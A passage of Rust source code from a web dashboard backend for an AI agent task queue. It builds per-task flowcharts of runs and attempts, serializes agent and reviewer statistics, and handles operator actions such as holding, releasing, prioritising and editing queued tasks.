            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
        )
    } else if s.parked {
        match recorded_end.and_then(|v| v.cause.as_ref()) {
            Some(cause) => format!(
                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
                cause.label(),
                cost_words
            ),
            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
                .to_owned(),
        }
    } else if !status.done()
        || matches!(
            status,
            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
        )
    {
        String::new()
    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
    {
        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
            .to_owned()
    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
        " It left a pull request open, so the task was held for a person rather than retried."
            .to_owned()
    } else if matches!(status, RunStatus::VerifiedNoop) {
        " Held for a person to check the claim.".to_owned()
    } else if last {
        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
    } else {
        " It spent an attempt, and the task moved on to the next run.".to_owned()
    };
    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
    let mut attempt = exit.cost();
    let mut exit_label = None;
    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
        let spent = match v.cost {
            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
            Some(crate::queue::PassCost::Spent) => ", attempt counted",
            None if resumed_later.is_some() => ", refund not recorded",
            None => ", attempt refunded",
        };
        attempt = match v.cost {
            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
            None if resumed_later.is_some() => AttemptCost::Unknown,
            None => attempt,
        };
        if v.end == "parked" {
            exit = RunExit::Parked;
            exit_label = Some(match v.cause.as_ref() {
                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
                    format!("parked for {}{spent}", c.label())
                }
                Some(c) => format!("parked ({}){spent}", c.label()),
                None => format!("parked{spent}"),
            });
        } else {
            exit_label = Some(format!("stopped without a recorded cause{spent}"));
        }
    }
    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
    TaskRunView {
        n,
        id: id.to_owned(),
        short,
        kind,
        status: Some(status.as_str()),
        readable: true,
        provisional,
        description,
        outcome: format!("{head}{why}"),
        created_at: Some(s.created_at),
        pr: s.pr.as_ref().map(|p| p.url.clone()),
        exit,
        attempt,
        exit_label,
        later_pass: resumed_later,
        pass_n,
        passes_of_run,
        pass: view,
        branch: branch.map(str::to_owned),
        badge: None,
    }
}

fn capitalise(s: &str) -> String {
    let mut c = s.chars();
    c.next().map_or_else(String::new, |f| {
        f.to_uppercase().collect::<String>() + c.as_str()
    })
}

/// One box of the task's flowchart.
#[derive(Debug, Serialize, PartialEq)]
struct FlowNode {
    /// Unique by position: a resumed run id appears once per pass.
    key: String,
    /// `chat`, `followup`, `start`, `run` or `end`.
    kind: &'static str,
    label: String,
    /// Run status (or the task's, for `end`); `None` when it is not a fact
    /// about this box (unreadable, or a pass the run later resumed from).
    status: Option<&'static str>,
    /// Whose status `status` is, so the client picks the right colour table:
    /// `task` (the `followup` parent and `end`) or `run`.
    status_of: &'static str,
    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
    note: Option<&'static str>,
    run_kind: Option<&'static str>,
    detail: Option<String>,
    /// A readable run with a real verdict; a stall never is.
    decided: bool,
    readable: bool,
    href: Option<String>,
    /// Overrides `status` as the badge word (`stale` / `superseded`).
    badge: Option<String>,
}

#[derive(Debug, Serialize, PartialEq)]
struct FlowEdge {
    from: String,
    to: String,
    label: String,
    attempt: AttemptCost,
}

#[derive(Debug, Serialize, PartialEq)]
struct FlowView {
    nodes: Vec<FlowNode>,
    edges: Vec<FlowEdge>,
    /// Attempts the task has counted since it was last released.
    attempts: usize,
    max_attempts: usize,
    /// Entries in the run list (passes), and how many distinct runs they are.
    /// Neither is the number of attempts consumed.
    passes: usize,
    runs: usize,
}

/// Turn a task and its described runs into the flowchart's boxes and arrows.
/// Pure: the page only draws what this returns.
///
/// A follow-up opens with its parent (or the merged run) unless the task's
/// *source* is itself a chat, in which case the chat stays first and the
/// follow-up node comes second. An inherited `Task::origin_chat` alone never
/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
/// two normally do not coincide and the nearer origin wins.
fn task_flow(
    task: &Task,
    history: &[TaskRunView],
    max_attempts: usize,
    origin: Option<&FollowUpOrigin>,
) -> FlowView {
    let max_attempts = task.effective_attempt_limit(max_attempts);
    let node = |key: &str, kind, label: String| FlowNode {
        key: key.to_owned(),
        kind,
        label,
        status: None,
        status_of: "run",
        note: None,
        run_kind: None,
        detail: None,
        decided: false,
        readable: true,
        href: None,
        badge: None,
    };
    let mut nodes = Vec::new();
    let mut edges: Vec<FlowEdge> = Vec::new();
    // A task queued from a chat opens the flow with that conversation.
    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
        let mut n = node(
            "chat",
            "chat",
            format!("Chat {}", crate::queue::short(&link.id)),
        );
        n.href = Some(link.href);
        nodes.push(n);
        edges.push(FlowEdge {
            from: "chat".to_owned(),
            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
            label: "queued from chat".to_owned(),
            attempt: AttemptCost::None,
        });
    }
    if let Some(o) = origin {
        let mut n = match &o.parent {
            Some(p) => {
                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
                n.status = Some(p.status);
                n.status_of = "task";
                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
                n.href = Some(p.href.clone());
                n
            }
            None => {
                let mut n = node(
                    "origin",
                    "followup",
                    format!("Follow-up of run {}", o.run.short),
                );
                n.detail = Some("merged run".to_owned());
                n.status = o.run.status;
                n.href = o.run.href.clone();
                if o.run.href.is_none() {
                    n.readable = false;
                    n.note = Some("unreadable");
                }
                n
            }
        };
        n.decided = true;
        let from = n.key.clone();
        nodes.push(n);
        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
        let more = o.findings.len().saturating_sub(shown.len());
        let label = match (shown.is_empty(), more) {
            (true, _) => "open findings".to_owned(),
            (false, 0) => format!("open findings {}", shown.join(", ")),
            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
        };
        edges.push(FlowEdge {
            from,
            to: "start".to_owned(),
            label,
            attempt: AttemptCost::None,
        });
    }
    nodes.push(node("start", "start", "Task queued".to_owned()));
    let mut prev = "start".to_owned();
    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
    for (i, h) in history.iter().enumerate() {
        let key = format!("run-{}", h.n);
        let mut n = node(&key, "run", format!("Run {}", h.short));
        n.run_kind = Some(h.kind);
        n.readable = h.readable;
        n.href = Some(format!("#/runs/{}", h.id));
        n.decided = h.readable && !h.provisional;
        n.detail = h
            .branch
            .as_ref()
            .map(|b| format!("review-only run of branch {b}"));
        match h.exit {
            RunExit::Unreadable => n.note = Some("unreadable"),
            RunExit::Interrupted => n.note = Some("interrupted"),
            // An earlier pass the run recorded as parked: the status shown
            // would be the run's current one, not this pass's.
            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
            _ => {
                n.status = h.status;
                n.badge = h.badge.clone();
                if h.provisional {
                    n.note = Some("no verdict");
                }
            }
        }
        let into = match h.kind {
            "review" => Some(format!(
                "review-only run of branch {}",
                h.branch.as_deref().unwrap_or("?")
            )),
            "resume" => Some("resume the same run".to_owned()),
            _ if i > 0 => Some("retry".to_owned()),
            _ => None,
        };
        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
        let label = match (prev_exit, into) {
            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
            (Some((_, l, _)), None) => l,
            (None, Some(i)) => i,
            (None, None) => "claimed".to_owned(),
        };
        edges.push(FlowEdge {
            from: prev.clone(),
            to: key.clone(),
            label,
            attempt,
        });
        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
        prev = key;
        nodes.push(n);
    }
    let mut end = node("end", "end", task.status.as_str().to_owned());
    end.status = Some(task.status.as_str());
    end.status_of = "task";
    nodes.push(end);
    let (label, attempt) = match prev_exit {
        None => (
            format!("no run yet \u{2192} {}", task.status.as_str()),
            AttemptCost::None,
        ),
        Some((e, l, cost)) if e.explains(task.status) => {
            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
        }
        Some((_, _, cost)) => (
            format!("closed by hand: task is {}", task.status.as_str()),
            cost,
        ),
    };
    edges.push(FlowEdge {
        from: prev,
        to: "end".to_owned(),
        label,
        attempt,
    });
    FlowView {
        nodes,
        edges,
        attempts: task.attempts,
        max_attempts,
        passes: history.len(),
        runs: distinct_runs(&task.runs),
    }
}

/// How many different run ids a task's run list names.
fn distinct_runs(runs: &[String]) -> usize {
    let mut seen: Vec<&str> = Vec::new();
    for r in runs {
        if !seen.contains(&r.as_str()) {
            seen.push(r);
        }
    }
    seen.len()
}

/// Describe recorded task passes, retaining unrecorded legacy list entries.
fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
    let mut slots = Vec::new();
    let mut seen = Vec::new();
    for run_id in &task.runs {
        if seen.contains(&run_id) {
            continue;
        }
        seen.push(run_id);
        let state = read(run_id);
        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
            s.passes
                .iter()
                .filter(|p| {
                    p.task_entry
                        || task
                            .passes
                            .iter()
                            .any(|t| t.run == *run_id && t.pass_index == p.index)
                })
                .cloned()
                .collect()
        });
        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
        let total = legacy_count.max(mine.len());
        let offset = total - mine.len();
        for k in 0..total {
            // Legacy repeated entries retain their original positions. When
            // ids are unique, recorded pass times recover the resume order.
            let position = task
                .runs
                .iter()
                .enumerate()
                .filter(|(_, r)| *r == run_id)
                .nth(k.min(legacy_count - 1))
                .unwrap()
                .0;
            slots.push((
                run_id,
                state.clone(),
                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
                position,
            ));
        }
    }
    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
        slots.sort_by_key(|(_, state, pass, _)| {
            pass.as_ref()
                .map(|p| p.started_at)
                .or_else(|| state.as_ref().map(|s| s.created_at))
                .map_or((true, task.created_at), |at| (false, at))
        });
    } else {
        slots.sort_by_key(|(_, _, _, position)| *position);
    }
    let mut history = Vec::with_capacity(slots.len());
    let mut seen: Vec<&str> = Vec::new();
    let mut prior: Option<(&str, RunStatus)> = None;
    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
        let resumed = k > 0;
        seen.push(run_id);
        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
        let pass = pass.as_ref();
        let settled = pass.and_then(|p| {
            task.passes
                .iter()
                .find(|t| t.run == **run_id && t.pass_index == p.index)
        });
        history.push(task_run_view(
            run_id,
            state.as_ref(),
            RunSlot {
                n: i + 1,
                resumed,
                resumed_later: slots[i + 1..]
                    .iter()
                    .position(|(id, _, _, _)| id == run_id)
                    .map(|off| i + off + 2),
                prior,
                last: i + 1 == slots.len(),
                pass,
                settled,
                pass_n: k + 1,
                passes_of_run: total,
            },
            task,
        ));
        if let Some(s) = &state {
            prior = Some((run::short_of(run_id), s.status));
        }
    }
    history
}

/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
/// An earlier pass of a resumed run keeps no badge (it has no status box).
fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
        return;
    }
    let (_, claimed, _) = run_row_inputs(ui);
    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
    for h in history
        .iter_mut()
        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
    {
        let Ok(state) = read_run(&ui.runs, &h.id) else {
            continue;
        };
        if state.status.done() {
            continue;
        }
        let live = state.liveness_with(
            claimed.contains(&h.id),
            |p| probe.borrow_mut().status(p),
            |p| probe.borrow_mut().started_at(p),
        );
        let waiting = !ui.questions.open_for(&h.id).is_empty();
        let display = run_display_status(&state, waiting, live);
        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
        if matches!(word.as_str(), "stale" | "superseded")
            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
        {
            h.badge = Some(word);
        }
    }
}

async fn task_detail(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<TaskDetailView>> {
    blocking(move || {
        let id = resolve_task(&ui.queue, &id)?;
        let task = ui
            .queue
            .get(&id)
            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
        mark_badges(&ui, &task, &mut history);
        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
        let origin = task.followup.as_ref().map(|fu| {
            followup_origin(
                fu,
                |tid| ui.queue.get(tid).ok(),
                |rid| read_run(&ui.runs, rid).ok(),
            )
        });
        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
        Ok(Json(TaskDetailView {
            max_attempts,
            flow,
            followup_origin: origin,
            passes_total: history.len(),
            runs_distinct: distinct_runs(&task.runs),
            history,
            runs_unreadable,
            attempts_note: ATTEMPTS_NOTE,
            task: TaskView::with_inventory(task, &inv),
        }))
    })
    .await
}

/// A rate together with its denominator, so the client can tell "computed as
/// 0%" apart from "no data to compute it from" — both would otherwise
/// serialize as `0.0`. `None` means the denominator was zero.
#[derive(Debug, Serialize)]
struct RateView {
    pct: f64,
    denominator: usize,
}

impl RateView {
    fn of(numerator: usize, denominator: usize) -> Option<Self> {
        (denominator > 0).then(|| Self {
            pct: 100.0 * numerator as f64 / denominator as f64,
            denominator,
        })
    }
}

/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
/// rates, each paired with its own denominator via [`RateView`] rather than
/// exposing `Stats`' own percentage methods directly — see this module's
/// doc for why `Stats` itself is never serialized.
#[derive(Debug, Serialize)]
struct StatsTotalsView {
    runs: usize,
    merged: usize,
    ready: usize,
    blocked: usize,
    failed: usize,
    stalled: usize,
    verified_noop: usize,
    superseded: usize,
    in_progress: usize,
    completion_rate: Option<RateView>,
    tallied: usize,
    split: usize,
    split_rate: Option<RateView>,
    deliberated: usize,
    minds_changed: usize,
    converged: usize,
    review_rounds: usize,
}

impl From<&stats::Totals> for StatsTotalsView {
    fn from(t: &stats::Totals) -> Self {
        Self {
            runs: t.runs,
            merged: t.merged,
            ready: t.ready,
            blocked: t.blocked,
            failed: t.failed,
            stalled: t.stalled,
            verified_noop: t.verified_noop,
            superseded: t.superseded,
            in_progress: t.in_progress,
            completion_rate: RateView::of(t.merged + t.ready, t.runs),
            tallied: t.tallied,
            split: t.split,
            split_rate: RateView::of(t.split, t.tallied),
            deliberated: t.deliberated,
            minds_changed: t.minds_changed,
            converged: t.converged,
            review_rounds: t.review_rounds,
        }
    }
}

/// [`crate::stats::AgentStats`] for the wire.
#[derive(Debug, Serialize)]
struct AgentStatsView {
    agent: String,
    entered: usize,
    wins: usize,
    empty: usize,
    win_rate: Option<RateView>,
    competitive_entered: usize,
    competitive_wins: usize,
    competitive_win_rate: Option<RateView>,
    solo_entered: usize,
    solo_adopted: usize,
    solo_adoption_rate: Option<RateView>,
}

impl From<&stats::AgentStats> for AgentStatsView {
    fn from(a: &stats::AgentStats) -> Self {
        Self {
            agent: a.agent.clone(),
            entered: a.entered,
            wins: a.wins,
            empty: a.empty,
            win_rate: RateView::of(a.wins, a.entered),
            competitive_entered: a.competitive_entered,
            competitive_wins: a.competitive_wins,
            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
            solo_entered: a.solo_entered,
            solo_adopted: a.solo_adopted,
            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
        }
    }
}

/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
/// value, `None` when `rounds` is zero.
#[derive(Debug, Serialize)]
struct ReviewerStatsView {
    agent: String,
    rounds: usize,
    seated: usize,
    submitted: usize,
    adopted: usize,
    unique: usize,
    timeouts: usize,
    adopted_per_round: Option<f64>,
    precision: Option<RateView>,
    unique_rate: Option<RateView>,
    timeout_rate: Option<RateView>,
}

impl From<&stats::ReviewerStats> for ReviewerStatsView {
    fn from(r: &stats::ReviewerStats) -> Self {
        Self {
            agent: r.agent.clone(),
            rounds: r.rounds,
            seated: r.seated,
            submitted: r.submitted,
            adopted: r.adopted,
            unique: r.unique,
            timeouts: r.timeouts,
            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
            precision: RateView::of(r.adopted, r.submitted),
            unique_rate: RateView::of(r.unique, r.submitted),
            timeout_rate: RateView::of(r.timeouts, r.seated),
        }
    }
}

/// [`crate::stats::AdvisorStats`] for the wire.
///
/// `reflection_rate` is approximate by construction — see
/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
/// that caveat is static text in `index.html`, not a field here.
#[derive(Debug, Serialize)]
struct AdvisorStatsView {
    agent: String,
    seated: usize,
    proposed: usize,
    absent: usize,
    faint: usize,
    strong: usize,
    reflection_rate: Option<RateView>,
}

impl From<&stats::AdvisorStats> for AdvisorStatsView {
    fn from(a: &stats::AdvisorStats) -> Self {
        Self {
            agent: a.agent.clone(),
            seated: a.seated,
            proposed: a.proposed,
            absent: a.absent,
            faint: a.faint,
            strong: a.strong,
            reflection_rate: RateView::of(a.strong, a.proposed),
        }
    }
}

/// [`crate::stats::E2eStats`] for the wire.
#[derive(Debug, Serialize)]
struct E2eStatsView {
    rounds: usize,
    failures: usize,
    sole_detections: usize,
    deferred: usize,
    sole_rate: Option<RateView>,
}

impl From<&stats::E2eStats> for E2eStatsView {
    fn from(e: &stats::E2eStats) -> Self {
        Self {
            rounds: e.rounds,
            failures: e.failures,
            sole_detections: e.sole_detections,
            deferred: e.deferred,
            sole_rate: RateView::of(e.sole_detections, e.failures),
        }
    }
}

/// [`crate::stats::ReleaseBumpStats`] for the wire.
///
/// `clean` is sent as a raw count, computed the same way
/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
/// needs_attention`) — never derived client-side from `automerge_enabled`,
/// which would misclassify a `merged_directly` bump (automerge rejected, but
/// magi merged it directly, so no human involvement) as needing attention.
#[derive(Debug, Serialize)]
struct ReleaseBumpStatsView {
    merged: usize,
    recorded: usize,
    pr_opened: usize,
    automerge_enabled: usize,
    merged_directly: usize,
    needs_attention: usize,
    clean: usize,
    coverage_rate: Option<RateView>,
    automerge_rate: Option<RateView>,
    attention_rate: Option<RateView>,
}

impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
    fn from(b: &stats::ReleaseBumpStats) -> Self {
        Self {
            merged: b.merged,
            recorded: b.recorded,
            pr_opened: b.pr_opened,
            automerge_enabled: b.automerge_enabled,
            merged_directly: b.merged_directly,
            needs_attention: b.needs_attention,
            clean: b.clean(),
            coverage_rate: RateView::of(b.recorded, b.merged),
            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
            attention_rate: RateView::of(b.needs_attention, b.recorded),
        }
    }
}

/// [`crate::queue::TaskCounts`] for the wire.
#[derive(Debug, Serialize)]
struct TaskCountsView {
    queued: usize,
    running: usize,
    done: usize,
    failed: usize,
    held: usize,
    blocked: usize,
    parked: usize,
}

impl From<crate::queue::TaskCounts> for TaskCountsView {
    fn from(c: crate::queue::TaskCounts) -> Self {
        Self {
            queued: c.queued,
            running: c.running,
            done: c.done,
            failed: c.failed,
            held: c.held,
            blocked: c.blocked,
            parked: c.parked,
        }
    }
}

/// [`crate::stats::RepoStats`] for the wire, one row per repository with
/// runs recorded — the summary the UI's repository selector is built from.
/// Carries no nested `Stats`: picking a repo means re-fetching
/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
/// aggregation rather than duplicating it.
#[derive(Debug, Serialize)]
struct RepoSummaryView {
    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
    /// against, full path and all (see [`stats_get`]'s own doc for why).
    repo: String,
    /// Display name only; never used for matching.
    name: String,
    runs: usize,
    completion_rate: Option<RateView>,
}

impl From<&stats::RepoStats> for RepoSummaryView {
    fn from(r: &stats::RepoStats) -> Self {
        let t = &r.stats.totals;
        Self {
            repo: r.repo.to_string_lossy().into_owned(),
            name: r.name.clone(),
            runs: t.runs,
            completion_rate: RateView::of(t.merged + t.ready, t.runs),
        }
    }
}

/// `GET /api/stats` - the whole answer. `Stats` itself carries no
/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
/// renders from them) are free to grow without that becoming a wire-contract
/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
/// data" from "computed and it really is zero" the way [`RateView`] does.
#[derive(Debug, Serialize)]
struct StatsView {
    totals: StatsTotalsView,
    /// Best win rate first, as [`stats::collect`] already sorts it.
    agents: Vec<AgentStatsView>,
    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
    reviewers: Vec<ReviewerStatsView>,
    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
    advisors: Vec<AdvisorStatsView>,
    e2e: E2eStatsView,
    release_bumps: ReleaseBumpStatsView,
    queue: TaskCountsView,
    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
    /// that field's doc. Asserted to match it in
    /// `stats_runs_unreadable_matches_health`.
    ///
    /// Always the whole-workload count, even when `repo` narrows every other
    /// field to one repository - an unreadable `run.json` carries no `repo`
    /// a per-repository count could attribute it to, and the queue/health
    /// views this mirrors never scope it either. The UI must not present it
    /// as if it were scoped to the selected repository.
    runs_unreadable: usize,
    /// Every repository with runs recorded, most runs first - what the UI's
    /// repository selector is built from. Always the full list regardless of
    /// `repo`, so switching repositories never needs a second request.
    repos: Vec<RepoSummaryView>,
    /// Runs per local day over the last 30 days, oldest first, always 30
    /// entries. Days are the *server's* local dates (the UI must not convert
    /// them again), cut by run creation and classified by current status.
    /// Narrowed by `repo` like every other run-derived field.
    daily: Vec<DailyStatsView>,
    /// The `?repo=` value this response was narrowed to, echoed back so the
    /// UI can confirm its selection round-tripped. `None` for the aggregate,
    /// all-repositories view.
    repo: Option<String>,
    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
    /// current config roster no longer lists them. Empty with `?all=true`, an
    /// unreadable config, or when nothing was retired.
    retired_hidden: Vec<String>,
}

/// One day of [`StatsView::daily`].
#[derive(Debug, Serialize)]
struct DailyStatsView {
    /// `YYYY-MM-DD`, server-local.
    date: String,
    runs: usize,
    merged: usize,
    ready: usize,
    other: usize,
    /// `None` on a day with no runs, so it never reads as 0%.
    completion_rate: Option<RateView>,
}

impl From<&stats::DayBucket> for DailyStatsView {
    fn from(b: &stats::DayBucket) -> Self {
        Self {
            date: b.date.to_string(),
            runs: b.runs,
            merged: b.merged,
            ready: b.ready,
            other: b.other,
            completion_rate: RateView::of(b.merged + b.ready, b.runs),
        }
    }
}

/// How many days [`StatsView::daily`] covers.
const STATS_DAILY_DAYS: usize = 30;

/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
/// repository. Matched by full-path equality against `RunState.repo` only
/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
/// `--repo` is, because the value here always came from this same route's
/// own `repos` list in an earlier response, never typed by a human. A value
/// matching no run is a 404, not an empty aggregate: the caller asked for a
/// specific, named repository, and silently returning zeroes would look
/// exactly like a repository that has runs but none of interest.
#[derive(Debug, Default, Deserialize)]
#[serde(default)]
struct StatsQuery {
    repo: Option<String>,
    /// `?all=true` keeps agents that are no longer in the roster.
    all: bool,
}

/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
/// runs when `?repo=` narrows it), the same counting logic `magi stats`
/// prints from. Reads every readable run on disk, exactly as
/// [`runs_unreadable`] does, so the two counts can never drift apart the way
/// a separately-maintained tally could.
async fn stats_get(
    State(ui): State<Arc<Ui>>,
    Query(q): Query<StatsQuery>,
) -> ApiResult<Json<StatsView>> {
    blocking(move || {
        let states: Vec<RunState> = run_ids(&ui.runs)
            .into_iter()
            .filter_map(|id| read_run(&ui.runs, &id).ok())
            .collect();
        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
            .iter()
            .map(RepoSummaryView::from)
            .collect();
        let mut scoped: Vec<&RunState> = states.iter().collect();
        let mut collected = match &q.repo {
            Some(repo) => {
                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
                if filtered.is_empty() {
                    return Err(ApiError::not_found(format!(
                        "no runs recorded against repo `{repo}`"
                    )));
                }
                scoped = filtered.clone();
                stats::collect_refs(filtered)
            }
            None => stats::collect(&states),
        };
        if !q.all {
            let repo = q
                .repo
                .as_deref()
                .map_or_else(|| ui.repo.clone(), PathBuf::from);
            stats::retain_current_roster(&mut collected, &repo);
        }
        let daily = stats::daily(
            scoped,
            jiff::Zoned::now().date(),
            &jiff::tz::TimeZone::system(),
            STATS_DAILY_DAYS,
        );
        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
        Ok(Json(StatsView {
            totals: StatsTotalsView::from(&collected.totals),
            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
            reviewers: collected
                .reviewers
                .iter()
                .map(ReviewerStatsView::from)
                .collect(),
            advisors: collected
                .advisors
                .iter()
                .map(AdvisorStatsView::from)
                .collect(),
            e2e: E2eStatsView::from(&collected.e2e),
            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
            queue: TaskCountsView::from(queue_counts),
            runs_unreadable: runs_unreadable(&ui.runs),
            repos,
            daily: daily.iter().map(DailyStatsView::from).collect(),
            repo: q.repo.clone(),
            retired_hidden: collected.retired_hidden.clone(),
        }))
    })
    .await
}

/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
/// gives no reason - which must keep working, since not every hold has one.
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct HoldBody {
    reason: Option<String>,
}

async fn queue_hold(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<HoldBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
    // An absent body is the ordinary case - most holds are unexplained, and
    // that has to stay a one-tap action rather than a form. A body that is
    // present and malformed is still a bad request.
    let body = match body {
        Ok(Json(body)) => body,
        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
        Err(e) => return Err(ApiError::bad_request(e.body_text())),
    };
    let reason = body.reason.filter(|r| !r.trim().is_empty());
    mutate(ui, id, move |t| {
        t.hold_manual(reason.clone());
        Ok(())
    })
    .await
}

async fn queue_release(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<TaskView>> {
    mutate(ui, id, |t| {
        t.release_operator("web", None);
        Ok(())
    })
    .await
}

#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct AttemptLimitBody {
    // Required even when clearing: missing fields must not silently erase an override.
    attempt_limit: serde_json::Value,
}

async fn queue_attempt_limit(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
}

#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct ImplementersBody {
    implementers: u8,
}

async fn queue_implementers(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
}

#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct UrgentBody {
    urgent: bool,
}

async fn queue_urgent(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
}

/// The body of `POST /api/queue/{id}/priority`.
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct PriorityBody {
    priority: i32,
}

/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
///
/// [`Task::set_priority`] is the one place the "not while running" rule is
/// stated; this route only carries the body to it and lets its `Err` become
/// the 4xx the card shows.
async fn queue_priority(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    mutate(ui, id, move |t| t.set_priority(body.priority)).await
}

/// The body of `POST /api/queue/{id}/edit`.
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct EditBody {
    title: String,
    instruction: String,
    /// Save even though the new text names a branch, commit or pull request
    /// that unfinished work already owns.
    #[serde(default)]
    force: bool,
}

/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
/// that refusal's message is what the sheet shows back.
